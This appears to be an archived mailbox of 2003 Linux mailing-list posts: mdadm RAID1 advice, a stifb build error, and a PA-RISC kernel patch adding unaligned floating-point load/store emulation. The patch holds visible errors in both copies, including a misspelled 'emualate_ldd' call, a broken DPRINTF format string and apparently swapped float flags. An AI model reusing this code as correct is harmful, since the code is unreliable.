Dub> --raid-devices=2 missing /dev/sdb2

Dub> Command working with curreny woody release: mdadm -C /dev/md0
Dub> --level raid1 --raid-disks 2 missing /dev/sde2

Dub> There is no --raid-devices option in my release!

Odd.  I'm running mdadm 1.2.0 and it says:

        allegro:~# mdadm --create --help 2>&1 | grep raid-dev
        Usage:  mdadm --create device -chunk=X --level=Y --raid-devices=Z devices
          --raid-devices= -n : number of active devices in array

Maybe Neil changed it in a later version?


Dub> I have mirrored boot, swap and root devices on pair of physical
Dub> disks. I took off one hot-plug disk and returned it back.  root
Dub> device did not want to resync even after reboot.

Well.  If the disk is no longer part of the metadevice, you manually
have to add it using the mdadm command.

It would be quite dangerous if the RAID code decided to add things to
an array just because a disk is inserted (fine for a storage
appliance, bad idea for a server).

CONFIG_HOTPLUG has nothing to do with it.

-- 
Martin K. Petersen      http://mkp.net/



From - Thu Nov 08 21:28:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] stifb
Date: Tue, 8 Jul 2003 22:47:36 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <200307082247.36466.deller@gmx.de>
References: <3F056E9500000F91@ocpmta4.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622569 27628 80.91.229.3 (22 Nov 2014 02:16:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Joel Soete" <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  8 14:46:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 4EDDF482B
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Jul 2003 14:46:41 -0600 (MDT)
Original-Received: (qmail 8991 invoked by uid 65534); 8 Jul 2003 20:46:39 -0000
Original-Received: from pD9040E33.dip.t-dialin.net (EHLO p100) (217.4.14.51)
  by mail.gmx.net (mp025) with SMTP; 08 Jul 2003 22:46:39 +0200
User-Agent: KMail/1.5.9
In-Reply-To: <3F056E9500000F91@ocpmta4.freegates.net>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18844

On Tuesday 08 July 2003 16:06, Joel Soete wrote:
> I think I have the bad idea to compile it as builtin; unfortuantely I got
> following compiling error:
> drivers/built-in.o(.init.text+0xa778): In function `stifb_init':
> : undefined reference to `sti_get_rom'
> drivers/built-in.o(.exit.text+0x5d8): In function `stifb_cleanup':
> : undefined reference to `sti_get_rom'
> Any idea?

Hi Joel,

sorry, I can't reproduce it here with current CVS version....

Helge


From - Thu Nov 08 21:28:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: lamont@smallone.fc.hp.com (LaMont Jones)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] unaligned.c changes
Date: Tue, 8 Jul 2003 23:18:10 -0600
Lines: 782
Approved: news@gmane.org
Message-ID: <20030709051810.GA2948@smallone.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="GvXjxJ+pjyke8COw"
X-Trace: ger.gmane.org 1416622569 27632 80.91.229.3 (22 Nov 2014 02:16:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:09 +0000 (UTC)
Cc: lamont@hp.com, bdale@gag.com
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul  8 23:20:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smallone.fc.hp.com (smallone.fc.hp.com [192.25.206.249])
	by dsl2.external.hp.com (Postfix) with ESMTP id EE0EB482B
	for <parisc-linux@parisc-linux.org>; Tue,  8 Jul 2003 23:20:41 -0600 (MDT)
Original-Received: by smallone.fc.hp.com (Postfix, from userid 1000)
	id 5B32D1BF35; Tue,  8 Jul 2003 23:18:10 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18845

--GvXjxJ+pjyke8COw
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

I just committed the following changes to unaligned.c, so that we now
handle unaligned floating point loads/stores, as well as getting a bit
better about noticing 64-bit (pa2.0) general register ops on a 32-bit
kernel.

lamont

--GvXjxJ+pjyke8COw
Content-Type: text/plain; charset=us-ascii
Content-Description: 2.4 patch
Content-Disposition: attachment; filename="2.4"

Index: arch/parisc/kernel/unaligned.c
===================================================================
RCS file: /var/cvs/linux/arch/parisc/kernel/unaligned.c,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -r1.15 -r1.16
--- arch/parisc/kernel/unaligned.c	26 Jan 2003 20:59:10 -0000	1.15
+++ arch/parisc/kernel/unaligned.c	9 Jul 2003 05:15:20 -0000	1.16
@@ -92,6 +92,15 @@
 #define OPCODE_STWA	OPCODE1(0x03,1,0xe)
 #define OPCODE_STDA	OPCODE1(0x03,1,0xf)
 
+#define OPCODE_FLDWX	OPCODE1(0x09,0,0x0)
+#define OPCODE_FSTWX	OPCODE1(0x09,0,0x4)
+#define OPCODE_FLDWS	OPCODE1(0x09,1,0x0)
+#define OPCODE_FSTWS	OPCODE1(0x09,1,0x4)
+#define OPCODE_FLDDX	OPCODE1(0x0b,0,0x0)
+#define OPCODE_FSTDX	OPCODE1(0x0b,0,0x4)
+#define OPCODE_FLDDS	OPCODE1(0x0b,1,0x0)
+#define OPCODE_FSTDS	OPCODE1(0x0b,1,0x4)
+
 #define OPCODE_LDD_L	OPCODE2(0x14,0)
 #define OPCODE_FLDD_L	OPCODE2(0x14,1)
 #define OPCODE_STD_L	OPCODE2(0x1c,0)
@@ -113,6 +122,7 @@
 #define R1(i) (((i)>>21)&0x1f)
 #define R2(i) (((i)>>16)&0x1f)
 #define R3(i) ((i)&0x1f)
+#define FR3(i) ((((i)<<1)&0x1f)|(((i)>>6)&1))
 #define IM(i,n) (((i)>>1&((1<<(n-1))-1))|((i)&1?((0-1L)<<(n-1)):0))
 #define IM5_2(i) IM((i)>>16,5)
 #define IM5_3(i) IM((i),5)
@@ -146,7 +156,7 @@
 
 	return 0;
 }
-static int emulate_ldw(struct pt_regs *regs, int toreg)
+static int emulate_ldw(struct pt_regs *regs, int toreg, int flop)
 {
 	unsigned long saddr = regs->ior;
 	unsigned long val = 0;
@@ -169,20 +179,26 @@
 
 	DPRINTF("val = 0x" RFMT "\n", val);
 
-	if (toreg)
+	if (flop)
+		((__u32*)(regs->fr))[toreg] = val;
+	else if (toreg)
 		regs->gr[toreg] = val;
 
 	return 0;
 }
-#ifdef __LP64__
-static int emulate_ldd(struct pt_regs *regs, int toreg)
+static int emulate_ldd(struct pt_regs *regs, int toreg, int flop)
 {
 	unsigned long saddr = regs->ior;
-	unsigned long val = 0;
+	__u64 val = 0;
 
 	DPRINTF("load " RFMT ":" RFMT " to r%d for 8 bytes\n", 
 		regs->isr, regs->ior, toreg);
+#ifdef CONFIG_PA20
 
+#ifndef __LP64__
+	if (!flop)
+		return -1;
+#endif
 	__asm__ __volatile__  (
 "	depd,z	%2,60,3,%%r19\n"		/* r19=(ofs&7)*8 */
 "	mtsp	%3, %%sr1\n"
@@ -195,15 +211,36 @@
 	: "=r" (val)
 	: "0" (val), "r" (saddr), "r" (regs->isr)
 	: "r19", "r20" );
+#else
+    {
+	unsigned long valh=0,vall=0;
+	__asm__ __volatile__  (
+"	zdep	%4,29,2,%%r19\n"		/* r19=(ofs&3)*8 */
+"	mtsp	%5, %%sr1\n"
+"	dep	%%r0,31,2,%4\n"
+"	ldw	0(%%sr1,%5),%0\n"
+"	ldw	4(%%sr1,%5),%1\n"
+"	ldw	8(%%sr1,%5),%%r20\n"
+"	subi	32,%%r19,%%r19\n"
+"	mtsar	%%r19\n"
+"	vshd	%0,%1,%0\n"
+"	vshd	%1,%%r20,%1\n"
+	: "=r" (valh), "=r" (vall)
+	: "0" (valh), "1" (vall), "r" (saddr), "r" (regs->isr)
+	: "r19", "r20" );
+	val=((__u64)valh<<32)|(__u64)vall;
+    }
+#endif
 
 	DPRINTF("val = 0x" RFMT "\n", val);
 
-	if (toreg)
+	if (flop)
+		regs->fr[toreg] = val;
+	else if (toreg)
 		regs->gr[toreg] = val;
 
 	return 0;
 }
-#endif
 
 static int emulate_sth(struct pt_regs *regs, int frreg)
 {
@@ -212,7 +249,7 @@
 		val = 0;
 
 	DPRINTF("store r%d (0x" RFMT ") to " RFMT ":" RFMT " for 2 bytes\n", frreg, 
-		regs->gr[frreg], regs->isr, regs->ior);
+		val, regs->isr, regs->ior);
 
 	__asm__ __volatile__ (
 "	mtsp %2, %%sr1\n"
@@ -225,14 +262,19 @@
 
 	return 0;
 }
-static int emulate_stw(struct pt_regs *regs, int frreg)
+static int emulate_stw(struct pt_regs *regs, int frreg, int flop)
 {
-	unsigned long val = regs->gr[frreg];
-	if (!frreg)
+	unsigned long val;
+
+	if (flop)
+		val = ((__u32*)(regs->fr))[frreg];
+	else if (frreg)
+		val = regs->gr[frreg];
+	else
 		val = 0;
 
 	DPRINTF("store r%d (0x" RFMT ") to " RFMT ":" RFMT " for 4 bytes\n", frreg, 
-		regs->gr[frreg], regs->isr, regs->ior);
+		val, regs->isr, regs->ior);
 
 
 	__asm__ __volatile__ (
@@ -257,17 +299,25 @@
 
 	return 0;
 }
-#ifdef __LP64__
-static int emulate_std(struct pt_regs *regs, int frreg)
+static int emulate_std(struct pt_regs *regs, int frreg, int flop)
 {
-	unsigned long val = regs->gr[frreg];
-	if (!frreg)
-		val = 0;
+	__u64 val;
 
-	DPRINTF("store r%d (0x" RFMT ") to " RFMT ":" RFMT " for 8 bytes\n", frreg, 
-		regs->gr[frreg], regs->isr, regs->ior);
+	if (flop)
+		val = regs->fr[frreg];
+	else if (frreg)
+		val = regs->gr[frreg];
+	else
+		val = 0;
 
+	DPRINTF("store r%d (0x" %016llx ") to " RFMT ":" RFMT " for 8 bytes\n", frreg, 
+		val,  regs->isr, regs->ior);
 
+#ifdef CONFIG_PA20
+#ifndef __LP64__
+	if (!flop)
+		return -1;
+#endif
 	__asm__ __volatile__ (
 "	mtsp %2, %%sr1\n"
 "	depd,z	%1, 60, 3, %%r19\n"
@@ -287,19 +337,45 @@
 	:
 	: "r" (val), "r" (regs->ior), "r" (regs->isr)
 	: "r19", "r20", "r21", "r22", "r1" );
+#else
+    {
+	unsigned long valh=(val>>32),vall=(val&0xffffffffl);
+	__asm__ __volatile__ (
+"	mtsp	%3, %%sr1\n"
+"	zdep	%1, 29, 2, %%r19\n"
+"	dep	%%r0, 31, 2, %1\n"
+"	mtsar	%%r19\n"
+"	zvdepi	-2, 32, %%r19\n"
+"	ldw	0(%%sr1,%2),%%r20\n"
+"	ldw	8(%%sr1,%2),%%r21\n"
+"	vshd	%0, %1, %%r1\n"
+"	vshd	%%r0, %0, %0\n"
+"	vshd	%1, %%r0, %1\n"
+"	and	%%r20, %%r19, %%r20\n"
+"	andcm	%%r21, %%r19, %%r21\n"
+"	or	%0, %%r20, %0\n"
+"	or	%1, %%r21, %1\n"
+"	stw	%0,0(%%sr1,%2)\n"
+"	stw	%%r1,4(%%sr1,%2)\n"
+"	stw	%1,8(%%sr1,%2)\n"
+	:
+	: "r" (valh), "r" (vall), "r" (regs->ior), "r" (regs->isr)
+	: "r19", "r20", "r21", "r1" );
+    }
+#endif
 
 	return 0;
 }
-#endif
 
 void handle_unaligned(struct pt_regs *regs)
 {
 	unsigned long unaligned_count = 0;
 	unsigned long last_time = 0;
-	unsigned long newbase = regs->gr[R1(regs->iir)];
+        unsigned long newbase = R1(regs->iir)?regs->gr[R1(regs->iir)]:0;
 	int modify = 0;
 	int ret = -1;
 	struct siginfo si;
+	register int flop=0;	/* true if this is a flop */
 
 	/* if the unaligned access is inside the kernel:
 	 *   if the access is caused by a syscall, then we fault the calling
@@ -438,7 +514,7 @@
 	case OPCODE_LDWA_I:
 	case OPCODE_LDW_S:
 	case OPCODE_LDWA_S:
-		ret = emulate_ldw(regs, R3(regs->iir));
+		ret = emulate_ldw(regs, R3(regs->iir),0);
 		break;
 
 	case OPCODE_STH:
@@ -447,23 +523,47 @@
 
 	case OPCODE_STW:
 	case OPCODE_STWA:
-		ret = emulate_stw(regs, R2(regs->iir));
+		ret = emulate_stw(regs, R2(regs->iir),0);
 		break;
 
-#ifdef __LP64__
+#ifdef CONFIG_PA20
 	case OPCODE_LDD_I:
 	case OPCODE_LDDA_I:
 	case OPCODE_LDD_S:
 	case OPCODE_LDDA_S:
-		ret = emulate_ldd(regs, R3(regs->iir));
+		ret = emulate_ldd(regs, R3(regs->iir),0);
 		break;
 
 	case OPCODE_STD:
 	case OPCODE_STDA:
-		ret = emulate_std(regs, R2(regs->iir));
+		ret = emulate_std(regs, R2(regs->iir),0);
 		break;
 #endif
 
+	case OPCODE_FLDWX:
+	case OPCODE_FLDWS:
+		flop=1;
+		ret = emulate_ldw(regs,FR3(regs->iir),1);
+		break;
+
+	case OPCODE_FLDDX:
+	case OPCODE_FLDDS:
+		flop=1;
+		ret = emulate_ldd(regs,R3(regs->iir),1);
+		break;
+
+	case OPCODE_FSTWX:
+	case OPCODE_FSTWS:
+		flop=1;
+		ret = emulate_stw(regs,FR3(regs->iir),1);
+		break;
+
+	case OPCODE_FSTDX:
+	case OPCODE_FSTDS:
+		flop=1;
+		ret = emulate_std(regs,R3(regs->iir),1);
+		break;
+
 	case OPCODE_LDCD_I:
 	case OPCODE_LDCW_I:
 	case OPCODE_LDCD_S:
@@ -471,30 +571,44 @@
 		ret = -1;	/* "undefined", but lets kill them. */
 		break;
 	}
-#ifdef __LP64__
+#ifdef CONFIG_PA20
 	switch (regs->iir & OPCODE2_MASK)
 	{
-	case OPCODE_LDD_L:
 	case OPCODE_FLDD_L:
-		ret = emulate_ldd(regs, R2(regs->iir));
+		flop=1;
+		ret = emualate_ldd(regs,R2(regs->iir),1);
+		break;
+	case OPCODE_FSTD_L:
+		flop=1;
+		ret = emulate_std(regs, R2(regs->iir),1);
 		break;
 
+#ifdef CONFIG_PA20
+	case OPCODE_LDD_L:
+		ret = emulate_ldd(regs, R2(regs->iir),0);
+		break;
 	case OPCODE_STD_L:
-	case OPCODE_FSTD_L:
-		ret = emulate_std(regs, R2(regs->iir));
+		ret = emulate_std(regs, R2(regs->iir),0);
 		break;
+#endif
 	}
 #endif
 	switch (regs->iir & OPCODE3_MASK)
 	{
-	case OPCODE_LDW_M:
 	case OPCODE_FLDW_L:
-		ret = emulate_ldw(regs, R2(regs->iir));
+		flop=1;
+		ret = emulate_ldw(regs, R2(regs->iir),0);
+		break;
+	case OPCODE_LDW_M:
+		ret = emulate_ldw(regs, R2(regs->iir),1);
 		break;
 
 	case OPCODE_FSTW_L:
+		flop=1;
+		ret = emulate_stw(regs, R2(regs->iir),1);
+		break;
 	case OPCODE_STW_M:
-		ret = emulate_stw(regs, R2(regs->iir));
+		ret = emulate_stw(regs, R2(regs->iir),0);
 		break;
 	}
 	switch (regs->iir & OPCODE4_MASK)
@@ -504,17 +618,16 @@
 		break;
 	case OPCODE_LDW_L:
 	case OPCODE_LDWM:
-		ret = emulate_ldw(regs, R2(regs->iir));
+		ret = emulate_ldw(regs, R2(regs->iir),0);
 		break;
 	case OPCODE_STH_L:
 		ret = emulate_sth(regs, R2(regs->iir));
 		break;
 	case OPCODE_STW_L:
 	case OPCODE_STWM:
-		ret = emulate_stw(regs, R2(regs->iir));
+		ret = emulate_stw(regs, R2(regs->iir),0);
 		break;
 	}
-	/* XXX LJ - need to handle float load/store */
 
 	if (modify && R1(regs->iir))
 		regs->gr[R1(regs->iir)] = newbase;
@@ -540,9 +653,8 @@
 		return;
 	}
 
-	/* else we handled it, advance the PC.... */
-	regs->iaoq[0] = regs->iaoq[1];
-	regs->iaoq[1] = regs->iaoq[0] + 4;
+	/* else we handled it, let life go on. */
+	regs->gr[0]|=PSW_N;
 }
 
 /*

--GvXjxJ+pjyke8COw
Content-Type: text/plain; charset=us-ascii
Content-Description: 2.5 patch
Content-Disposition: attachment; filename="2.5"

Index: arch/parisc/kernel/unaligned.c
===================================================================
RCS file: /var/cvs/linux-2.5/arch/parisc/kernel/unaligned.c,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -r1.4 -r1.5
--- arch/parisc/kernel/unaligned.c	12 Jan 2003 08:24:26 -0000	1.4
+++ arch/parisc/kernel/unaligned.c	9 Jul 2003 05:15:38 -0000	1.5
@@ -92,6 +92,15 @@
 #define OPCODE_STWA	OPCODE1(0x03,1,0xe)
 #define OPCODE_STDA	OPCODE1(0x03,1,0xf)
 
+#define OPCODE_FLDWX	OPCODE1(0x09,0,0x0)
+#define OPCODE_FSTWX	OPCODE1(0x09,0,0x4)
+#define OPCODE_FLDWS	OPCODE1(0x09,1,0x0)
+#define OPCODE_FSTWS	OPCODE1(0x09,1,0x4)
+#define OPCODE_FLDDX	OPCODE1(0x0b,0,0x0)
+#define OPCODE_FSTDX	OPCODE1(0x0b,0,0x4)
+#define OPCODE_FLDDS	OPCODE1(0x0b,1,0x0)
+#define OPCODE_FSTDS	OPCODE1(0x0b,1,0x4)
+
 #define OPCODE_LDD_L	OPCODE2(0x14,0)
 #define OPCODE_FLDD_L	OPCODE2(0x14,1)
 #define OPCODE_STD_L	OPCODE2(0x1c,0)
@@ -113,6 +122,7 @@
 #define R1(i) (((i)>>21)&0x1f)
 #define R2(i) (((i)>>16)&0x1f)
 #define R3(i) ((i)&0x1f)
+#define FR3(i) ((((i)<<1)&0x1f)|(((i)>>6)&1))
 #define IM(i,n) (((i)>>1&((1<<(n-1))-1))|((i)&1?((0-1L)<<(n-1)):0))
 #define IM5_2(i) IM((i)>>16,5)
 #define IM5_3(i) IM((i),5)
@@ -146,7 +156,7 @@
 
 	return 0;
 }
-static int emulate_ldw(struct pt_regs *regs, int toreg)
+static int emulate_ldw(struct pt_regs *regs, int toreg, int flop)
 {
 	unsigned long saddr = regs->ior;
 	unsigned long val = 0;
@@ -169,20 +179,26 @@
 
 	DPRINTF("val = 0x" RFMT "\n", val);
 
-	if (toreg)
+	if (flop)
+		((__u32*)(regs->fr))[toreg] = val;
+	else if (toreg)
 		regs->gr[toreg] = val;
 
 	return 0;
 }
-#ifdef __LP64__
-static int emulate_ldd(struct pt_regs *regs, int toreg)
+static int emulate_ldd(struct pt_regs *regs, int toreg, int flop)
 {
 	unsigned long saddr = regs->ior;
-	unsigned long val = 0;
+	__u64 val = 0;
 
 	DPRINTF("load " RFMT ":" RFMT " to r%d for 8 bytes\n", 
 		regs->isr, regs->ior, toreg);
+#ifdef CONFIG_PA20
 
+#ifndef __LP64__
+	if (!flop)
+		return -1;
+#endif
 	__asm__ __volatile__  (
 "	depd,z	%2,60,3,%%r19\n"		/* r19=(ofs&7)*8 */
 "	mtsp	%3, %%sr1\n"
@@ -195,15 +211,36 @@
 	: "=r" (val)
 	: "0" (val), "r" (saddr), "r" (regs->isr)
 	: "r19", "r20" );
+#else
+    {
+	unsigned long valh=0,vall=0;
+	__asm__ __volatile__  (
+"	zdep	%4,29,2,%%r19\n"		/* r19=(ofs&3)*8 */
+"	mtsp	%5, %%sr1\n"
+"	dep	%%r0,31,2,%4\n"
+"	ldw	0(%%sr1,%5),%0\n"
+"	ldw	4(%%sr1,%5),%1\n"
+"	ldw	8(%%sr1,%5),%%r20\n"
+"	subi	32,%%r19,%%r19\n"
+"	mtsar	%%r19\n"
+"	vshd	%0,%1,%0\n"
+"	vshd	%1,%%r20,%1\n"
+	: "=r" (valh), "=r" (vall)
+	: "0" (valh), "1" (vall), "r" (saddr), "r" (regs->isr)
+	: "r19", "r20" );
+	val=((__u64)valh<<32)|(__u64)vall;
+    }
+#endif
 
 	DPRINTF("val = 0x" RFMT "\n", val);
 
-	if (toreg)
+	if (flop)
+		regs->fr[toreg] = val;
+	else if (toreg)
 		regs->gr[toreg] = val;
 
 	return 0;
 }
-#endif
 
 static int emulate_sth(struct pt_regs *regs, int frreg)
 {
@@ -212,7 +249,7 @@
 		val = 0;
 
 	DPRINTF("store r%d (0x" RFMT ") to " RFMT ":" RFMT " for 2 bytes\n", frreg, 
-		regs->gr[frreg], regs->isr, regs->ior);
+		val, regs->isr, regs->ior);
 
 	__asm__ __volatile__ (
 "	mtsp %2, %%sr1\n"
@@ -225,14 +262,19 @@
 
 	return 0;
 }
-static int emulate_stw(struct pt_regs *regs, int frreg)
+static int emulate_stw(struct pt_regs *regs, int frreg, int flop)
 {
-	unsigned long val = regs->gr[frreg];
-	if (!frreg)
+	unsigned long val;
+
+	if (flop)
+		val = ((__u32*)(regs->fr))[frreg];
+	else if (frreg)
+		val = regs->gr[frreg];
+	else
 		val = 0;
 
 	DPRINTF("store r%d (0x" RFMT ") to " RFMT ":" RFMT " for 4 bytes\n", frreg, 
-		regs->gr[frreg], regs->isr, regs->ior);
+		val, regs->isr, regs->ior);
 
 
 	__asm__ __volatile__ (
@@ -257,17 +299,25 @@
 
 	return 0;
 }
-#ifdef __LP64__
-static int emulate_std(struct pt_regs *regs, int frreg)
+static int emulate_std(struct pt_regs *regs, int frreg, int flop)
 {
-	unsigned long val = regs->gr[frreg];
-	if (!frreg)
-		val = 0;
+	__u64 val;
 
-	DPRINTF("store r%d (0x" RFMT ") to " RFMT ":" RFMT " for 8 bytes\n", frreg, 
-		regs->gr[frreg], regs->isr, regs->ior);
+	if (flop)
+		val = regs->fr[frreg];
+	else if (frreg)
+		val = regs->gr[frreg];
+	else
+		val = 0;
 
+	DPRINTF("store r%d (0x" %016llx ") to " RFMT ":" RFMT " for 8 bytes\n", frreg, 
+		val,  regs->isr, regs->ior);
 
+#ifdef CONFIG_PA20
+#ifndef __LP64__
+	if (!flop)
+		return -1;
+#endif
 	__asm__ __volatile__ (
 "	mtsp %2, %%sr1\n"
 "	depd,z	%1, 60, 3, %%r19\n"
@@ -287,19 +337,45 @@
 	:
 	: "r" (val), "r" (regs->ior), "r" (regs->isr)
 	: "r19", "r20", "r21", "r22", "r1" );
+#else
+    {
+	unsigned long valh=(val>>32),vall=(val&0xffffffffl);
+	__asm__ __volatile__ (
+"	mtsp	%3, %%sr1\n"
+"	zdep	%1, 29, 2, %%r19\n"
+"	dep	%%r0, 31, 2, %1\n"
+"	mtsar	%%r19\n"
+"	zvdepi	-2, 32, %%r19\n"
+"	ldw	0(%%sr1,%2),%%r20\n"
+"	ldw	8(%%sr1,%2),%%r21\n"
+"	vshd	%0, %1, %%r1\n"
+"	vshd	%%r0, %0, %0\n"
+"	vshd	%1, %%r0, %1\n"
+"	and	%%r20, %%r19, %%r20\n"
+"	andcm	%%r21, %%r19, %%r21\n"
+"	or	%0, %%r20, %0\n"
+"	or	%1, %%r21, %1\n"
+"	stw	%0,0(%%sr1,%2)\n"
+"	stw	%%r1,4(%%sr1,%2)\n"
+"	stw	%1,8(%%sr1,%2)\n"
+	:
+	: "r" (valh), "r" (vall), "r" (regs->ior), "r" (regs->isr)
+	: "r19", "r20", "r21", "r1" );
+    }
+#endif
 
 	return 0;
 }
-#endif
 
 void handle_unaligned(struct pt_regs *regs)
 {
 	unsigned long unaligned_count = 0;
 	unsigned long last_time = 0;
-	unsigned long newbase = regs->gr[R1(regs->iir)];
+	unsigned long newbase = R1(regs->iir)?regs->gr[R1(regs->iir)]:0;
 	int modify = 0;
 	int ret = -1;
 	struct siginfo si;
+	register int flop=0;	/* true if this is a flop */
 
 	/* if the unaligned access is inside the kernel:
 	 *   if the access is caused by a syscall, then we fault the calling
@@ -383,9 +459,9 @@
 				case OPCODE_LDDA_I:
 					shift= 3; break;
 				}
-				newbase += regs->gr[R2(regs->iir)]<<shift;
+				newbase += (R2(regs->iir)?regs->gr[R2(regs->iir)]:0)<<shift;
 			} else				/* simple indexed */
-				newbase += regs->gr[R2(regs->iir)];
+				newbase += (R2(regs->iir)?regs->gr[R2(regs->iir)]:0);
 		}
 		break;
 	case 0x13:
@@ -438,7 +514,7 @@
 	case OPCODE_LDWA_I:
 	case OPCODE_LDW_S:
 	case OPCODE_LDWA_S:
-		ret = emulate_ldw(regs, R3(regs->iir));
+		ret = emulate_ldw(regs, R3(regs->iir),0);
 		break;
 
 	case OPCODE_STH:
@@ -447,23 +523,47 @@
 
 	case OPCODE_STW:
 	case OPCODE_STWA:
-		ret = emulate_stw(regs, R2(regs->iir));
+		ret = emulate_stw(regs, R2(regs->iir),0);
 		break;
 
-#ifdef __LP64__
+#ifdef CONFIG_PA20
 	case OPCODE_LDD_I:
 	case OPCODE_LDDA_I:
 	case OPCODE_LDD_S:
 	case OPCODE_LDDA_S:
-		ret = emulate_ldd(regs, R3(regs->iir));
+		ret = emulate_ldd(regs, R3(regs->iir),0);
 		break;
 
 	case OPCODE_STD:
 	case OPCODE_STDA:
-		ret = emulate_std(regs, R2(regs->iir));
+		ret = emulate_std(regs, R2(regs->iir),0);
 		break;
 #endif
 
+	case OPCODE_FLDWX:
+	case OPCODE_FLDWS:
+		flop=1;
+		ret = emulate_ldw(regs,FR3(regs->iir),1);
+		break;
+
+	case OPCODE_FLDDX:
+	case OPCODE_FLDDS:
+		flop=1;
+		ret = emulate_ldd(regs,R3(regs->iir),1);
+		break;
+
+	case OPCODE_FSTWX:
+	case OPCODE_FSTWS:
+		flop=1;
+		ret = emulate_stw(regs,FR3(regs->iir),1);
+		break;
+
+	case OPCODE_FSTDX:
+	case OPCODE_FSTDS:
+		flop=1;
+		ret = emulate_std(regs,R3(regs->iir),1);
+		break;
+
 	case OPCODE_LDCD_I:
 	case OPCODE_LDCW_I:
 	case OPCODE_LDCD_S:
@@ -471,30 +571,44 @@
 		ret = -1;	/* "undefined", but lets kill them. */
 		break;
 	}
-#ifdef __LP64__
+#ifdef CONFIG_PA20
 	switch (regs->iir & OPCODE2_MASK)
 	{
-	case OPCODE_LDD_L:
 	case OPCODE_FLDD_L:
-		ret = emulate_ldd(regs, R2(regs->iir));
+		flop=1;
+		ret = emualate_ldd(regs,R2(regs->iir),1);
+		break;
+	case OPCODE_FSTD_L:
+		flop=1;
+		ret = emulate_std(regs, R2(regs->iir),1);
 		break;
 
+#ifdef CONFIG_PA20
+	case OPCODE_LDD_L:
+		ret = emulate_ldd(regs, R2(regs->iir),0);
+		break;
 	case OPCODE_STD_L:
-	case OPCODE_FSTD_L:
-		ret = emulate_std(regs, R2(regs->iir));
+		ret = emulate_std(regs, R2(regs->iir),0);
 		break;
+#endif
 	}
 #endif
 	switch (regs->iir & OPCODE3_MASK)
 	{
-	case OPCODE_LDW_M:
 	case OPCODE_FLDW_L:
-		ret = emulate_ldw(regs, R2(regs->iir));
+		flop=1;
+		ret = emulate_ldw(regs, R2(regs->iir),0);
+		break;
+	case OPCODE_LDW_M:
+		ret = emulate_ldw(regs, R2(regs->iir),1);
 		break;
 
 	case OPCODE_FSTW_L:
+		flop=1;
+		ret = emulate_stw(regs, R2(regs->iir),1);
+		break;
 	case OPCODE_STW_M:
-		ret = emulate_stw(regs, R2(regs->iir));
+		ret = emulate_stw(regs, R2(regs->iir),0);
 		break;
 	}
 	switch (regs->iir & OPCODE4_MASK)
@@ -504,19 +618,18 @@
 		break;
 	case OPCODE_LDW_L:
 	case OPCODE_LDWM:
-		ret = emulate_ldw(regs, R2(regs->iir));
+		ret = emulate_ldw(regs, R2(regs->iir),0);
 		break;
 	case OPCODE_STH_L:
 		ret = emulate_sth(regs, R2(regs->iir));
 		break;
 	case OPCODE_STW_L:
 	case OPCODE_STWM:
